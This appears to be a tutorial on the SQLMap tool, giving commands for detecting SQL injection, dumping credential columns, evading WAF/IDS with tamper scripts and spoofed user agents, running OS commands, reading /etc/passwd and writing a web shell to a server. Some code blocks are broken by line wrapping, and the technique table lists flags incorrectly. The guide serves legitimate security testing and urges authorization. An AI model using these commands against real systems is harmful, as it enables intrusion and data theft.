

SQLMap - SQL Injection Testing Guide

SQLMap is an open-source penetration testing tool that automates the detection and exploitation of SQL injection vulnerabilities. It supports a wide range of database management systems and provides advanced features for security testing.

1. What is SQLMap?

SQLMap is a powerful tool used by security researchers and penetration testers to:

- Detect SQL injection vulnerabilities in web applications
- Enumerate databases and extract sensitive data
- Exploit SQL injection flaws automatically
- Bypass authentication mechanisms
- Perform privilege escalation
- Execute operating system commands

Why use SQLMap?

- Fully automated SQL injection detection
- Supports multiple databases (MySQL, PostgreSQL, Oracle, MSSQL, etc.)
- Multiple injection techniques (Time-based, Boolean-based, Error-based, etc.)
- Advanced features like fingerprinting and privilege escalation
- User-friendly and highly customizable

2. Installation

```
# On Linux/macOS using Git git clone
https://github.com/sqlmapproject/sqlmap.git cd sqlmap python sqlmap.py --
version # Using package managers (Debian/Ubuntu) apt-get install sqlmap #
Using Homebrew (macOS) brew install sqlmap # Verify installation sqlmap --
version
```

3. Basic Syntax

```
sqlmap -u <TARGET_URL> [OPTIONS] sqlmap -m <BURP_REQUEST_FILE> [OPTIONS]
```

Essential Parameters:

Flag	Description
-u	Target URL (required)
--data	POST data (e.g., "id=1&name=admin")
-p	Parameter to test for injection
--cookie	HTTP Cookie header value
-H	Add HTTP header
--method	HTTP method (GET, POST, PUT, DELETE)
--batch	Never ask for user input (use default answers)
--dbs	Enumerate databases
--tables	Enumerate tables in database
--dump	Dump database table entries
-- technique	SQL injection technique (B: Boolean, T: Time-based, E: Error-based, U: Union, S: Stacked)
-v	Verbosity level (0-6)

4. Practical Examples

Example 1: Basic SQL Injection Testing

Test a simple GET parameter for SQL injection:

```
sqlmap -u "http://example.com/product.php?id=1"
```

This will automatically detect if the 'id' parameter is vulnerable to SQL injection.

Example 2: Testing POST Parameters

Test POST data for SQL injection vulnerabilities:

```
sqlmap -u "http://example.com/login.php" --  
data="username=admin&password=admin"
```

Tests both username and password parameters for SQL injection.

Example 3: Testing Specific Parameter

Focus on a specific parameter:

```
sqlmap -u "http://example.com/search.php?q=test&id=1" -p id
```

Only tests the 'id' parameter, ignoring others.

Example 4: Enumerate Databases

List all databases after finding SQL injection:

```
sqlmap -u "http://example.com/product.php?id=1" --dbs
```

Example 5: Enumerate Tables

List all tables in a specific database:

```
sqlmap -u "http://example.com/product.php?id=1" -D database_name --tables
```

Example 6: Dump Database Contents

Extract data from a specific table:

```
sqlmap -u "http://example.com/product.php?id=1" -D database_name -T users --dump
```

Example 7: Using Burp Request File

Test using captured Burp Suite request:

```
sqlmap -r request.txt
```

Where request.txt contains the full HTTP request captured from Burp Suite.

Example 8: Cookie-Based Authentication

Test authenticated pages by providing session cookies:

```
sqlmap -u "http://example.com/admin.php?id=1" --cookie="PHPSESSID=abc123def456"
```

Example 9: Specific Injection Technique

Force a specific SQL injection technique:

```
sqlmap -u "http://example.com/product.php?id=1" --technique=T
```

-T forces Time-based blind SQL injection. Use B for Boolean, E for Error-based, U for Union.

Example 10: Extract Specific Columns

Extract only specific columns from a table:

```
sqlmap -u "http://example.com/product.php?id=1" -D database_name -T users -C username,password --dump
```

5. Advanced Features

Batch Mode (Non-Interactive)

```
sqlmap -u "http://example.com/product.php?id=1" --batch --dbs
```

Runs in automatic mode without prompting for user input.

Verbosity Levels

```
sqlmap -u "http://example.com/product.php?id=1" -v 3
```

Verbosity: 0 (quiet), 1 (normal), 2 (verbose), 3-6 (very verbose)

User-Agent Spoofing

```
sqlmap -u "http://example.com/product.php?id=1" --user-agent="Mozilla/5.0..."
```

Change User-Agent to avoid detection.

Proxy Configuration

```
sqlmap -u "http://example.com/product.php?id=1" --  
proxy="http://127.0.0.1:8080"
```

Route requests through a proxy (useful with Burp Suite).

6. SQL Injection Techniques

Technique	Description	Flag
Boolean-Based Blind	Infers data by asking true/false questions	-B
Time-Based Blind	Uses time delays to infer data	-T
Error-Based	Extracts data from error messages	-E
Union-Based	Uses UNION SELECT to extract data directly	-U
Stacked Queries	Executes multiple SQL statements	-S

7. Common Payloads and Filters

Tamper Scripts (Bypass Filters)

```
sqlmap -u "http://example.com/product.php?id=1" --tamper=space2comment,between
```

Available tampers: space2comment, space2dash, space2plus, between, charencode, etc.

Custom Injection Point

```
sqlmap -u "http://example.com/product.php?id=1*" -p id
```

Use * to mark custom injection point in the URL.

8. Database Enumeration

Enumerate everything:

```
sqlmap -u "http://example.com/product.php?id=1" --all
```

Enumerate current user:

```
sqlmap -u "http://example.com/product.php?id=1" --current-user
```

Enumerate database version:

```
sqlmap -u "http://example.com/product.php?id=1" --banner
```

Enumerate current database:

```
sqlmap -u "http://example.com/product.php?id=1" --current-db
```

9. Operating System Access

Execute system commands:

```
sqlmap -u "http://example.com/product.php?id=1" --os-cmd="whoami"
```

Read local files:

```
sqlmap -u "http://example.com/product.php?id=1" --file-read="/etc/passwd"
```

Write files:

```
sqlmap -u "http://example.com/product.php?id=1" --file-write="/tmp/shell.php"  
--file-dest="/var/www/html/shell.php"
```

10. Tips and Best Practices

- **Start with basic testing** before using advanced features
- **Use --batch flag** for automated scanning without interaction
- **Combine with proxies** like Burp Suite for better visibility
- **Use tamper scripts** to bypass WAF/IDS filters
- **Test one parameter at a time** to narrow down vulnerabilities
- **Save results** using -o flag for documentation
- **Verify findings manually** before reporting
- **Have proper authorization** before testing any target
- **Be cautious with --os-cmd and --file-write** flags
- **Use --risk and --level flags** to control aggressiveness

11. Troubleshooting

Issue	Solution
Connection timeout	Use --timeout flag or increase with -o timeout=10
WAF/IDS blocking requests	Use --tamper scripts or --random-agent flag
No vulnerability found	Try different --technique or increase --level
Authentication required	Use --cookie parameter with session ID
Database enumeration slow	Reduce --risk or --level, or use specific -p parameter

12. Output and Logging

Save scan results:

```
sqlmap -u "http://example.com/product.php?id=1" --batch -o
```

Results are saved in ~/.sqlmap/output/ directory with logs and findings.

```
sqlmap -u "http://example.com/product.php?id=1" -t logfile.txt
```

Save traffic log to specified file.

13. Legal and Ethical Considerations

- Always obtain written permission before testing
 - Use on authorized targets only
 - Never exploit vulnerabilities for malicious purposes
 - Document all findings and activities
 - Follow responsible disclosure practices
 - Report vulnerabilities to affected organizations
 - Comply with all local laws and regulations
-